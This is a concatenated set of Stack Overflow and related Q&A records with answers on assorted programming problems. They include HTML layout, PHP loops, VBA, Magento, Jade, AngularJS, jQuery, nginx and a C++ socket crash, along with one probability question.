"https://Stackoverflow.com/users/558594/"
] | Maybe you should use more columns to your table, and more rows as well. And you should be using something else (like CSS instead), but don't get me started on that.
```
<table>
<tr>
<td><input id="Radio1" name="G1M" value="1" type="radio" /></td>
<td><input id="Radio5" name="G1L" value="1" type="radio" /></td>
<td>Gentle or kindly</td>
</tr>
<tr>
<td><input id="Radio2" name="G1M" value="2" type="radio" /></td>
<td><input id="Radio6" name="G1L" value="2" type="radio" /></td>
<td>Persuasive, convincing</td>
</tr>
<tr>
<td><input id="Radio3" name="G1M" value="3" type="radio" /></td>
<td><input id="Radio7" name="G1L" value="3" type="radio" /></td>
<td>Humble, reserved, modest</td>
</tr>
<tr>
<td><input id="Radio4" name="G1M" value="4" type="radio" /></td>
<td><input id="Radio8" name="G1L" value="4" type="radio" /></td>
<td>Original, inventive, individualistic</td>
</tr>
</table>
```
This `<table>` has one row for each option, and has one `<td>` for each radio button, and one `<td>` for the text.
You could also get off using CSS and `<div>`s instead.
```
<style>
input[type='radio'].spaceRight {
margin-right: 10px;
}
</style>
<!-- do this for each row -->
<div>
<input class="spaceRight" id="Radio1" name="G1M" value="1" type="radio" />
<input class="spaceRight" id="Radio2" name="G1M" value="2" type="radio" />
Gentle or kindly
</div>
``` | Put them in separate `<tr>`s. |
31,274,329 | My website is serving a lot of pictures from `/assets/photos/` folder. How can I get a list of the files in that folder with Javascript? | 2015/07/07 | [
"https://Stackoverflow.com/questions/31274329",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1279844/"
] | The current code will give a list of all files in a folder, assuming it's on the server side you want to list all files:
```
var fs = require('fs');
var files = fs.readdirSync('/assets/photos/');
``` | As others' answers suggest it seems impossible on client side, so I solved it on server side as following:
Client side by js
```js
get_file(conf.data_address).then(imgs => { // get_file is wrapper of fetch API
let img = new Image();
img.src = `./files/Blackpink/${imgs[0]}`; // e.g. load the first img
img.height = 40;
return new Promise(resolve => {
img.onload = () => {
resolve(img);
}
})
})
```
Server side by django:
```py
def get(self, request): # get method
address = request.query_params.get('address') # get the requested folder
is_database = request.query_params.get('is_database')
if address.endswith('/'):
j = u.get_path_files(address,is_full=False) # wrapper of os.listdir of python to get the files in the requested directory.
``` |
13,672,588 | I am trying to loop through letters rather than numbers.
I am trying to do this using chr and the number equivalent but it doesn't seem to be happening!
I want four letter loop.
So AAAA, AAAB, AAAC etc through to ZZZZ - and yes I know this will likely take a while to execute! | 2012/12/02 | [
"https://Stackoverflow.com/questions/13672588",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/887515/"
] | Why don't you make an array of letters and then use nested loops:
```
$letters = range('A', 'Z');
foreach ($letters as $one) {
foreach ($letters as $two) {
foreach ($letters as $three) {
foreach ($letters as $four) {
echo "$one$two$three$four";
}
}
}
}
``` | Another way to solve this
```
$i = 'AAAA';
do {
echo $i . "\n";
$i++;
} while( $i !== 'AAAAA');
``` |
119,824 | I have a question that is slighly related to [this question](https://meta.stackexchange.com/questions/64419/what-processes-made-stack-overflow-the-website-it-is-today), but rather looks into the future and the specifics of Stack Exchange. I wonder:
**Where are the processes of Stack Exchange that shape the rules here and its creation written down?**
And (where) can they be discussed and improved upon?
As mentioned above, people come along and want to change Stack Exchange.
**I don't want to change Stack Exchange, but I want to gain insights.** And I have questions. Actually, my issue right now is that I can't ask some questions about Stack Exchange on Stack Exchange itself or even on meta, because my issue arises out of, IMHO, incomplete information or "missing parts" (as far as I can see). But I don't want to immediately offend anyone who might have 20 hours / weeks available to devote to Stack Exchange, unlike me.
So I want to start by finding out about all these process of building and running Stack Exchange, much like how I can find out about the rules and processes of Wikipedia by diving into the depth and complexities that are layed out to the public under the "<http://en.wikipedia.org/wiki/Wikipedia>:..." pages. **Then I want to follow the standard Stack Exchange processes and procedures** to bring in my issue on this way. At least, after delving that deep I will sure be more confident as to where I can find support or help solve this (meta) issue myself and thus contribute to Stack Exchange...
PS: Sorry for being so unspecific except for my one question, but maybe you can guess what impression a casual user gets about Stack Exchange if he feels the need to react this way...on the other hand, for now it is only important for me to get just this **one** question answered. | 2012/01/21 | [
"https://meta.stackexchange.com/questions/119824",
"https://meta.stackexchange.com",
"https://meta.stackexchange.com/users/159748/"
] | **The Official StackExchange Process™** \*
1. User asks question, reports a bug, or makes a feature request here.
2. Said bug report/feature request either
a. Gets downvoted mercilessly because it's been beaten to death here already, or
b. Gets wildly upvoted because it's the best idea ever.
3. Feature/bug request gets `[status-declined]` by Stack Exchange management.
4. [Waffles](https://meta.stackoverflow.com/users/17174/waffles) locks himself in a closet, and adds the feature/fixes the bug while no one is looking.
Lather, rinse, repeat.
\*Not actually the official process, just my observations. Do not try this at home. Allow six to eight weeks for delivery. | **Required reading**
On Stack Overflow:
* [About](https://stackoverflow.com/about)
* [Frequently Asked Questions](https://stackoverflow.com/faq)
* [How to Ask](https://stackoverflow.com/questions/how-to-ask)
* [How to Answer](https://stackoverflow.com/questions/how-to-answer)
* [Privileges](https://stackoverflow.com/privileges)
On the blog:
* [A Theory of Moderation](https://blog.stackoverflow.com/2009/05/a-theory-of-moderation/)
On Meta Stack Overflow:
* [About](https://meta.stackoverflow.com/about)
* [Frequently Asked Questions](https://meta.stackoverflow.com/faq)
* All questions tagged [faq](/questions/tagged/faq "show questions tagged 'faq'")
On Stack Exchange:
* [What is Stack Exchange?](https://stackexchange.com/about)
* [Team](https://stackexchange.com/about/team) (pretty pictures, yay!)
**Further reading**
* [List of all sites](https://stackexchange.com/sites)
* [Answering technical questions helpfully](http://msmvps.com/blogs/jon_skeet/archive/2009/02/17/answering-technical-questions-helpfully.aspx)
* [Stack Exchange Moderator Elections Begin](https://blog.stackoverflow.com/2010/12/stack-exchange-moderator-elections-begin/) |
9,615,845 | I would like to find all occurrences of a substring in a NSString, and iterate one by one to do some changes to that NSString. How should I do it? | 2012/03/08 | [
"https://Stackoverflow.com/questions/9615845",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1097480/"
] | If you want to do changes, you could use:
`- (NSString *)stringByReplacingOccurrencesOfString:(NSString *)target withString:(NSString *)replacement`
but if that doesn't fit your needs try this:
`- (void)enumerateSubstringsInRange:(NSRange)range options:(NSStringEnumerationOptions)opts usingBlock:(void (^)(NSString *substring, NSRange substringRange, NSRange enclosingRange, BOOL *stop))block` | You might want to have a look on [NSString class Documentation](https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/Reference/NSString.html).
**Finding Characters and Substrings**
```
– rangeOfCharacterFromSet:
– rangeOfCharacterFromSet:options:
– rangeOfCharacterFromSet:options:range:
– rangeOfString:
– rangeOfString:options:
– rangeOfString:options:range:
– rangeOfString:options:range:locale:
– enumerateLinesUsingBlock:
– enumerateSubstringsInRange:options:usingBlock:
```
**Dividing Strings**
```
– componentsSeparatedByString:
– componentsSeparatedByCharactersInSet:
– stringByTrimmingCharactersInSet:
– substringFromIndex:
– substringWithRange:
– substringToIndex:
``` |
37,734,021 | I am using the below code to loop through each row however I only want to loop through visible cells in Column B (as I have filtered out the values I want to ignore) ranging from Row 10 -194. Does anyone know how I would do this?
```
For X = 192 to 10 Step -1
If Range("B" & X).Text = "" Then **This needs to change to visible cells only but not sure how!
Code required insert here
Else
End If
Next X
``` | 2016/06/09 | [
"https://Stackoverflow.com/questions/37734021",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4915723/"
] | You need a second loop to iterate through the [Range.Areas](https://msdn.microsoft.com/en-us/library/office/ff196243.aspx) of [Range.SpecialCells(](https://msdn.microsoft.com/en-us/library/office/ff196157.aspx)[xlCellTypeVisible](https://msdn.microsoft.com/en-us/library/office/ff836534.aspx)). Each Area could be one or more rows.
```
Dim a As Long, r As Long
With Range("B10:B192").SpecialCells(xlCellTypeVisible)
For a = .Areas.Count To 1 Step -1
With .Areas(a)
For r = .Rows.Count To 1 Step -1
'Debug.Print .Cells(r, 1).Address(0, 0)
'Debug.Print .Cells(r, 1).Text
If .Cells(r, "B").Text = "" Then
'Code required insert here
End If
Next r
End With
Next a
End With
```
It seems you want to loop backwards so I continued with that direction. If the intention was to delete rows, there are easier ways to do that. | ```
Dim hiddenColumn: hiddenColumn = "B"
For i = 1 To 10
If Range(hiddenColumn & i).EntireRow.Hidden = False Then
'logic goes here....
End If
Next
``` |
182,371 | I am trying to override following file
>
> module-bundle/view/adminhtml/layout/sales\_order\_creditmemo\_new.xml
>
>
>
```
<?xml version="1.0"?>
<!--
/**
* Copyright © 2016 Magento. All rights reserved.
* See COPYING.txt for license details.
*/
-->
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
<body>
<referenceBlock name="order_items">
<block class="Magento\Bundle\Block\Adminhtml\Sales\Order\Items\Renderer" as="bundle" template="sales/creditmemo/create/items/renderer.phtml"/>
</referenceBlock>
</body>
</page>
```
I override it by creating same name layout file in my module
>
> Vendor\_App/view/adminhtml/layout/sales\_order\_creditmemo\_new.xml
>
>
>
```
<referenceBlock name="order_items">
<block class="Vendor\App\Block\Adminhtml\Sales\Order\Items\Renderer" as="bundle" template="Vendor_App::sales/creditmemo/create/items/renderer.phtml"/>
</referenceBlock>
```
But my class and template are not overridden. I have created the class and phtml in my module.
I tried to override it using di.xml by adding following code.
```
<preference for="Magento\Bundle\Block\Adminhtml\Sales\Order\Items\Renderer" type="Vendor\App\Block\Adminhtml\Sales\Order\Items\Renderer"/>
```
And this works, but the problem is, on clicking Update Qty's button, it fetches my template instead of its own template as the layout for Update Qty is different.
I tried above thing with Configurable and simple product both works perfectly, only bundle type is creating issue. | 2017/07/06 | [
"https://magento.stackexchange.com/questions/182371",
"https://magento.stackexchange.com",
"https://magento.stackexchange.com/users/44817/"
] | You can use `setChild()` to replace a block by its alias. First create the new block with a name, then call `setChild()` via `<action>`:
```
<referenceBlock name="order_items">
<block class="Vendor\App\Block\Adminhtml\Sales\Order\Items\Renderer" name="custom_renderer" template="Vendor_App::sales/creditmemo/create/items/renderer.phtml"/>
<action method="setChild">
<argument name="alias" xsi:type="string">bundle</argument>
<argument name="block" xsi:type="string">custom_renderer</argument>
</action>
</referenceBlock>
``` | Please check my answer here: <https://magento.stackexchange.com/a/239387/14403>
I believe that is the same solution you are looking for. |
28,700,110 | I'm working on a project, in Node.js, express module, jade files, MongoDB-Mongoose and more..
I've a problem to implement json details from the database to the jade page.
I tried to figure out the problem, unsuccessfully.
I would like someone to help me find and fix it.
Thanks.
**That's the Error message:**
```
TypeError: /Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/views/index.jade:66
64| div(id="archive-rooms-container" class="row panel thumbnail-row")
65| h4= 'Musical Projects'
> 66| each project, index in projects
67| div(class='col-md-3 rowSpace')
68| ul(class="room-details")
69| li
Cannot read property 'length' of undefined
at jade_debug.unshift.lineno (eval at <anonymous> (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/jade/lib/jade.js:174:8), <anonymous>:618:31)
at eval (eval at <anonymous> (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/jade/lib/jade.js:174:8), <anonymous>:815:4)
at eval (eval at <anonymous> (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/jade/lib/jade.js:174:8), <anonymous>:955:22)
at res (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/jade/lib/jade.js:175:38)
at Object.exports.render (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/jade/lib/jade.js:300:10)
at Object.exports.renderFile (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/jade/lib/jade.js:336:18)
at View.exports.renderFile [as engine] (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/jade/lib/jade.js:321:21)
at View.render (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/express/lib/view.js:93:8)
at EventEmitter.app.render (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/express/lib/application.js:530:10)
at ServerResponse.res.render (/Users/itzhak/Desktop/Development/Porvivo/AWSporvivo/node_modules/express/lib/response.js:933:7)
```
>
> Jade code:
>
>
>
```
each project, index in projects
div(class='col-md-3 rowSpace')
ul(class="room-details")
li
a(href="/projects/" + project.sessionId id=project.sessionId)
h3(style='margin:0 0 3px')= project.projectName
- var playerNames = [];
- for(var playerIndex in project.players) playerNames.push(room.players[playerIndex].name);
li
for playerName in playerNames
a(href="../" + playerName)= playerName
a(href="/projects/" + project.sessionId id=project.sessionId): img(src=project.img class="img-responsive")
```
>
> Js code (on client side):
>
>
>
```
function loadProjects() {
$.getJSON('/projects/info', function( data ) {
console.log(JSON.stringify(data));
});
}
$( document ).ready(function() {
loadProjects();
setInterval(loadProjects, 10000);
});
```
>
> app code: (node.js)
>
>
>
```
var express = require('express'),
router = express.Router(),
Project = require('../schemas/project'),
projects = [];
Project.find().lean().exec(function(err, items) {
if (err) {
console.log('* ERROR!!! : ' + err);
} else {
projects = items;
console.log('* SUCCESS : ' + JSON.stringify(projects));
}
});
router.get('/info', function(req, res) {
res.json({projects: projects});
});
module.exports = router;
```
Thanks a lot!
Itzhak. | 2015/02/24 | [
"https://Stackoverflow.com/questions/28700110",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4601770/"
] | I found the problem,
The jade is rendered on server while i tried to get details to the jade from the JS on client side.
I fixed it by render the details directly from the server because it's more suitable my needs but there's another option, send just an empty template jade to client and insert details to html by JS.
Hope this gonna help someone someday :) | Don't know Jade, but the problem seems to come from the data.
It seems *projects* is undefined so the parser cannot read it (I guess it tries to get its length before looping through its children, and an error is thrown).
So the first thing to do would be to check the data you receive from the database. |
3,767,128 | In my page, I'm using a javascript function
```
<script>
function redirect(){
window.location="hurray.php";
}
</script>
```
Calling the function from the line below.
```
<input id="search_box" name="textbox" type="text" size="50" maxlength="100" onkeypress="redirect()" />
```
Now I want to make it sure that the page 'hurray.php' is visited only from this action. If I typed the direct URL to 'hurray' page, I should not be able to visit this page, rather redirect it to this previous page. | 2010/09/22 | [
"https://Stackoverflow.com/questions/3767128",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/383393/"
] | Make an AJAX call to a PHP function that will set a variable in the session. When the AJAX call returns response redirect the user to this page and check for the session variable. You can delete it if you do not want the user to be able to visit it again for this session. | You cannot do this using javascript alone, I don't think.
You need to intercept this on the server and handle it accordingly.
Your probably going to need a token to be sent along with the redirect, you can then validate this token server side and allow the redirect to complete or do some other action if the user has been sent there in error or by typing in the URL directly.
Why are you wanting to do this in the example you give? Surely this would lead the user away from the search form and to another page? |
21,135,302 | My goal is to autosave a form after is valid and update it with timeout.
I set up like:
```
(function(window, angular, undefined) {
'use strict';
angular.module('nodblog.api.article', ['restangular'])
.config(function (RestangularProvider) {
RestangularProvider.setBaseUrl('/api');
RestangularProvider.setRestangularFields({
id: "_id"
});
RestangularProvider.setRequestInterceptor(function(elem, operation, what) {
if (operation === 'put') {
elem._id = undefined;
return elem;
}
return elem;
});
})
.provider('Article', function() {
this.$get = function(Restangular) {
function ngArticle() {};
ngArticle.prototype.articles = Restangular.all('articles');
ngArticle.prototype.one = function(id) {
return Restangular.one('articles', id).get();
};
ngArticle.prototype.all = function() {
return this.articles.getList();
};
ngArticle.prototype.store = function(data) {
return this.articles.post(data);
};
ngArticle.prototype.copy = function(original) {
return Restangular.copy(original);
};
return new ngArticle;
}
})
})(window, angular);
angular.module('nodblog',['nodblog.route'])
.directive("autosaveForm", function($timeout,Article) {
return {
restrict: "A",
link: function (scope, element, attrs) {
var id = null;
scope.$watch('form.$valid', function(validity) {
if(validity){
Article.store(scope.article).then(
function(data) {
scope.article = Article.copy(data);
_autosave();
},
function error(reason) {
throw new Error(reason);
}
);
}
})
function _autosave(){
scope.article.put().then(
function() {
$timeout(_autosave, 5000);
},
function error(reason) {
throw new Error(reason);
}
);
}
}
}
})
.controller('CreateCtrl', function ($scope,$location,Article) {
$scope.article = {};
$scope.save = function(){
if(typeof $scope.article.put === 'function'){
$scope.article.put().then(function() {
return $location.path('/blog');
});
}
else{
Article.store($scope.article).then(
function(data) {
return $location.path('/blog');
},
function error(reason) {
throw new Error(reason);
}
);
}
};
})
```
I'm wondering if there is a best way. | 2014/01/15 | [
"https://Stackoverflow.com/questions/21135302",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/356380/"
] | Looking at the code I can see is that the $watch will not be re-fired if current input is valid and the user changes anything that is valid too. This is because watch functions are only executed if the value has changed.
You should also check the dirty state of the form and reset it when the form data has been persisted otherwise you'll get an endless persist loop.
And your not clearing any previous timeouts.
And the current code will save invalid data if a current timeout is in progress.
I've plunked a directive which does this all and has better [SOC](http://en.wikipedia.org/wiki/Separation_of_concerns) so it can be reused. Just provide it a callback expression and you're good to go.
[See it in action in this plunker.](http://plnkr.co/edit/FUy2tn?p=preview)
**Demo Controller**
```
myApp.controller('MyController', function($scope) {
$scope.form = {
state: {},
data: {}
};
$scope.saveForm = function() {
console.log('Saving form data ...', $scope.form.data);
};
});
```
**Demo Html**
```
<div ng-controller="MyController">
<form name="form.state" auto-save-form="saveForm()">
<div>
<label>Numbers only</label>
<input name="text"
ng-model="form.data.text"
ng-pattern="/^\d+$/"/>
</div>
<span ng-if="form.state.$dirty && form.state.$valid">Updating ...</span>
</form>
</div>
```
**Directive**
```
myApp.directive('autoSaveForm', function($timeout) {
return {
require: ['^form'],
link: function($scope, $element, $attrs, $ctrls) {
var $formCtrl = $ctrls[0];
var savePromise = null;
var expression = $attrs.autoSaveForm || 'true';
$scope.$watch(function() {
if($formCtrl.$valid && $formCtrl.$dirty) {
if(savePromise) {
$timeout.cancel(savePromise);
}
savePromise = $timeout(function() {
savePromise = null;
// Still valid?
if($formCtrl.$valid) {
if($scope.$eval(expression) !== false) {
console.log('Form data persisted -- setting prestine flag');
$formCtrl.$setPristine();
}
}
}, 500);
}
});
}
};
});
``` | Here's a variation of Null's directive, created because I started seeing "Infinite $digest Loop" errors. (I suspect something changed in Angular where cancelling/creating a $timeout() now triggers a digest.)
This variation uses a proper $watch expression - watching for the form to be dirty and valid - and then calls $setPristine() earlier so the watch will re-fire if the form transitions to dirty again. We then use an $interval to wait for a pause in those dirty notifications before saving the form.
```
app.directive('autoSaveForm', function ($log, $interval) {
return {
require: ['^form'],
link: function (scope, element, attrs, controllers) {
var $formCtrl = controllers[0];
var autoSaveExpression = attrs.autoSaveForm;
if (!autoSaveExpression) {
$log.error('autoSaveForm missing parameter');
}
var savePromise = null;
var formModified;
scope.$on('$destroy', function () {
$interval.cancel(savePromise);
});
scope.$watch(function () {
// note: formCtrl.$valid is undefined when this first runs, so we use !$formCtrl.$invalid instead
return !$formCtrl.$invalid && $formCtrl.$dirty;
}, function (newValue, oldVaue, scope) {
if (!newValue) {
// ignore, it's not "valid and dirty"
return;
}
// Mark pristine here - so we get notified again if the form is further changed, which would make it dirty again
$formCtrl.$setPristine();
if (savePromise) {
// yikes, note we've had more activity - which we interpret as ongoing changes to the form.
formModified = true;
return;
}
// initialize - for the new interval timer we're about to create, we haven't yet re-dirtied the form
formModified = false;
savePromise = $interval(function () {
if (formModified) {
// darn - we've got to wait another period for things to quiet down before we can save
formModified = false;
return;
}
$interval.cancel(savePromise);
savePromise = null;
// Still valid?
if ($formCtrl.$valid) {
$formCtrl.$saving = true;
$log.info('Form data persisting');
var autoSavePromise = scope.$eval(autoSaveExpression);
if (!autoSavePromise || !autoSavePromise.finally) {
$log.error('autoSaveForm not returning a promise');
}
autoSavePromise
.finally(function () {
$log.info('Form data persisted');
$formCtrl.$saving = undefined;
});
}
}, 500);
});
}
};
});
``` |
45,005,034 | I want to split string on every third space. For example :
```
var str = 'Lorem ipsum dolor sit amet consectetur adipiscing elit sed do eiusmod tempor incididunt';
//result will be:
var result = ["Lorem ipsum dolor ", "sit amet consectetur ", "adipiscing elit sed ", "do eiusmod tempor ", "incididunt"];
```
Please help me. Thank you | 2017/07/10 | [
"https://Stackoverflow.com/questions/45005034",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8009175/"
] | Use regex for splitting the string.
```js
var str = 'Lorem ipsum dolor sit amet consectetur adipiscing elit sed do eiusmod tempor incididunt';
var splited = str.match(/\b[\w']+(?:[^\w\n]+[\w']+){0,2}\b/g);
console.log(splited);
```
**Regex description:**
```none
1. \b assert position at a word boundary (^\w|\w$|\W\w|\w\W)
2. Match a single character present in the list below [\w']+
\w matches any word character (equal to [a-zA-Z0-9_])
3. {0,2} Quantifier — Matches between 0 and 2 times
4. Match a single character not present in the list below [^\w\n]
5. \w matches any word character (equal to [a-zA-Z0-9_])
6. \n matches a line-feed (newline) character (ASCII 10)
7. Match a single character present in the list below [\w']
8. \w matches any word character (equal to [a-zA-Z0-9_])
9. ' matches the character ' literally (case sensitive)
10. \b assert position at a word boundary (^\w|\w$|\W\w|\w\W)
11. g modifier: global. All matches (don't return after first match)
``` | ```js
var str = 'Lorem ipsum dolor sit amet consectetur adipiscing elit sed do eiusmod tempor incididunt';
var splitString = str.match(/(.*?\s){3}/g);
console.log(splitString);
``` |
36,935,614 | ```
var obj = [{
id: 1,
child:[2,4],
data : "hello"
},{
id: 2,
child:[3],
data : "I m second"
},
{
id: 3,
child:[],
data : "I m third"
},
{
id: 4,
child:[6],
data : "I m fourth"
},{
id: 5,
child:[],
data : "I m fifth"
},{
id: 6,
child:[],
data : "I m sixth"
}];
```
I have convert this object to
```
var newObj = [{
id: 1,
child: [{
id: 2,
child: [{
id: 3,
child: [],
data: "I m third"
}],
data: "I m second"
}, {
id: 4,
child: [{
id: 6,
child: [],
data: "I m sixth"
}],
data: "I m fourth"
}],
data: "hello"
}, {
id: 5,
child: [],
data: "I m fifth"
}];
```
which is nothing but tree format of JSON based on child array of each property. How to approach the problem ?? How to code in javascript ??
Any help would appreciable. Thanks in advance.
[Jsfiddle](https://jsfiddle.net/Rajan_Singh/wydfaq22/) | 2016/04/29 | [
"https://Stackoverflow.com/questions/36935614",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4353531/"
] | No, it's not possible using the HTML `title` attribute only.
If you want to add an image in a tooltip you would need to use a third party tooltip library which generates HTML tooltips, such as [Qtip2](http://qtip2.com/) | If I understood correctly, you are looking for a way to include **favicon** in your page, the image that lays on the left side of the page title in web browsers?
You can add favicon easily and I assume you'd be able to change it with jQuery as well (the source of the image at least).
Simply put this in between your `<head>` tags:
```
<link rel="shortcut icon" type="image/png" href="favicon.png"/>
```
The image itself should be around 16 - 64 pixels (square) and even more preferably converted to .ico format, though .png is supported nowdays too.
If this is not what you're looking for, the answer is simply **no, you can't include image in `<title>` tags**. |
5,046,897 | I'd like to add a message to be displayed in Visual Studio 2010 test results.
I can post a message out if the test fails, but not true. Is there anyway to do this?
For example:
```
dim quoteNumber as string = Sales.CreateQuote(foo)
assert.IsTrue(quoteNumber <> "")
'I would like to make this something like this:
assert.isTrue(quoteNumber <> "", falsepart, "Quote number " & quoteNumber & " created")
``` | 2011/02/18 | [
"https://Stackoverflow.com/questions/5046897",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/544193/"
] | I don't know what unit test framework you're using, but with the Visual Studio unit tests, you can do the following:
```
Assert.IsTrue(quoteNumber <> "", "Quote number must be non-empty")
'I would like to make this something like this:
Console.WriteLine("Quote number " & quoteNumber & " created")
``` | I think you are looking for `Assert.IsFalse`. Maybe
```
Assert.IsFalse(quoteNumber = "", "Quote number " & quoteNumber & " created")
``` |
47,379 | I am trying to send and receive radio signals using my Raspberry, but I am already stuck at the first step :)
My Radio module uses UART for communication but I have failed to set up my serial communication correctly. I found out Bluetooth is somehow interfering, so I disabled it. Now my program is at least able to step over `read` and `write` functions of my python script. Jippie :)
To test if UART works I connected Pin 14 and 15 (RX and TX) with each other and would now expect that when I send something, I will receive the same string?!? That should be right, shouldn't it?
But on the receiving end I never get something... `readline()` return with no string.
I would be very very thankful if somebody could shed some light for me :) Or even a hint to a working tutorial. I already followed that tutorial: <http://www.briandorey.com/post/Raspberry-Pi-3-UART-Boot-Overlay-Part-Two> but it didn't get me much further... :(
Btw.: I am using Raspbian Version May 2016 (2016-05-10).
Here's my sample code:
```
#!/usr/bin/env python
import serial
ser = serial.Serial(
port='/dev/ttyAMA0',
baudrate = 9600,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
bytesize=serial.EIGHTBITS,
timeout=1
)
print "Serial is open: " + str(ser.isOpen())
print "Now Writing"
ser.write("This is a test")
print "Did write, now read"
x = ser.readline()
print "got '" + x + "'"
ser.close()
``` | 2016/05/15 | [
"https://raspberrypi.stackexchange.com/questions/47379",
"https://raspberrypi.stackexchange.com",
"https://raspberrypi.stackexchange.com/users/42529/"
] | >
> `port='/dev/ttyAMA0'`
>
>
>
I believe the default device node on the Pi 3 is different. Try:
`port='/dev/ttyS0'`
---
You may also need to disable the serial console. The easiest way to do this is via `raspi-config` under **Advanced Options -> Enable/Disable shell and kernel messages on the serial connection**.
If you don't have `raspi-config`, it doesn't work, and/or you want to double check, first look in `/boot/cmdline.txt`. If you see:
```
console=/dev/ttyS0,115200
```
Or:
```
console=/dev/serial0,115200
```
Or anything involving `console=` that *isn't* `console=tty1`, remove it. *Make sure not to accidentally add a line break to that file, it should remain all one line with spaces between the options, but no spaces around any `=`.*
The other aspect is the login started by the init system. On Raspbian jessie, check:
```
ls /etc/systemd/system/getty.target.wants
```
If you see that serial device node (`ttyS0`) mentioned, disable this service:
```
systemctl disable serial-getty@ttyS0.service
```
You will have to reboot for these things to take effect. | I don't know how Raspbian Python handles the serial timeout, but if I were coding it, I would still start out putting a delay of at least a couple of milliseconds between the transmit code and the receive code (I'd start with 5 ms). Your receiver can't flag the first received byte until the data has shifted 10 bits completely out of the transmitter and into the receiver. That is a delay of approximately 1 millisecond. Once that works, you can back out the delay to see how the timeout handles it. Of course, this may not be related to the real problem, but it removes one unknown. |
12,680,948 | how can i count elements with the class item which is contained in a variable
so far <http://jsfiddle.net/jGj4B/>
```
var post = '<div/><div class="item"></div><div class="item"></div><div class="item"></div><div class="item"></div>';
alert($(post).find('.item').length); // i have tried .size() in place of .length
``` | 2012/10/01 | [
"https://Stackoverflow.com/questions/12680948",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1742280/"
] | You want `filter` instead of `find`:
```
$(post).filter('.item').length
```
`find` looks for descendent element, and there are none.
If you want both top-level items and descendants, you could do this:
```
$(post).find('.item').andSelf().filter(".item").length
```
Though wrapping it in a span as suggested in another answer is probably much more understandable.
---
**EDIT 7/19/2013:** `andSelf` has been deprecated as of v1.8 and `addBack` should be used in its place.
```
$(post).find('.item').addBack().filter(".item").length
``` | Best way to do this is to create a DOM object without actually appending it to the DOM. Something like:
```
var post = '<div/><div class="item"></div><div class="item"></div><div class="item"></div><div class="item"></div>';
// Create a dummy element:
var temp = $("<span />");
// Populate the HTML of that element with the data from your post variable
$(temp).html(post);
// Search the element as you normally would (if it were attached to the DOM)
$(temp).find(".item").length; // equals 4
``` |
422,152 | HAProxy has a very nice status page showing me which webservers are up and which ones are down on the backend. I am trying to debug some issues and need to know which servers nginx thinks are up and which ones it thinks are down. Is there a web page or something that you can configure for nginx so I can just hit a url when I need this type of information?
thanks,
Dean | 2012/08/28 | [
"https://serverfault.com/questions/422152",
"https://serverfault.com",
"https://serverfault.com/users/97353/"
] | Unfortunately this is almost impossible out of the box. vanila nginx has not global state for upstream by design so this information is local for every worker process.
Take a look at this module seems may be useful for you <http://wiki.nginx.org/NginxHttpHealthcheckModule> | A year late to this reply but ustats module for nginx looks pretty impressive:
<https://code.google.com/p/ustats/>
moved to github <https://github.com/0xc0dec/ustats>
Unfortunately doesn't seem maintained after 1.2 but might still work.
Found a maintained fork <https://github.com/nginx-modules/ngx_ustats_module>
1.7.2 patch still works against 1.7.4 perfectly |
1,654,217 | When we define a probability distribution function, we say:
$f\_X(x)=P(X=x)$ and thats equal to some function such as a gaussian
But isn't $P(X=x)=0$ for a continuous random variable $X$.
Is it correct that the height of the pdf function at a specific x represents the likelihood of this $x$. | 2016/02/14 | [
"https://math.stackexchange.com/questions/1654217",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/182585/"
] | Putting probablyme's answer in words, similar to yours:
The height of the pdf function at a specific $x$ is proportional to the probability of being in the neighbourhood of that $x$.
The main difference being "in the neighbourhood of $x$", instead of "at $x$". Also "proportional", not "the value"
A remark: in English "likelihood" and "probability" are used as loose synonyms; but in mathematics, and in this context of using a function to predict an outcome, you better use "probability". "Likelihood" is mostly used in the reverse case, when some outcome(s) are already known. | What you are confusing is discrete and continuous case. We do not define densities in that way when we are talking about continuous random variables. Actually, we say that $X$ is continuous random variable if there is $f$ such that $$P(a\leq X\leq b) = \int\_a^b f(x)\, dx$$ Directly from that definition we do get your claim that $P(X=a) = \int\_a^a f(x)\, dx = 0$ for continuous random variables.
So, what exactly is $f(x) = P(X=x)$? This is called probability mass function and makes sense only for discrete random variables, as you notice yourself. This actually can be thought of as probability density function, but not with respect to Lebesgue measure, as in case of continuous random variables, but with respect to [counting measure](https://en.wikipedia.org/wiki/Counting_measure) when we have $$P(a\leq X \leq b) = \sum\_{x\_n
\in [a,b]} P(X=x\_n) = \int\_a^b f(x)\, d\mu(x)$$ |
6,162,994 | I'm running a server and a client. i'm testing my program on my computer.
this is the funcion in the server that sends data to the client:
```
int sendToClient(int fd, string msg) {
cout << "sending to client " << fd << " " << msg <<endl;
int len = msg.size()+1;
cout << "10\n";
/* send msg size */
if (send(fd,&len,sizeof(int),0)==-1) {
cout << "error sendToClient\n";
return -1;
}
cout << "11\n";
/* send msg */
int nbytes = send(fd,msg.c_str(),len,0); //CRASHES HERE
cout << "15\n";
return nbytes;
}
```
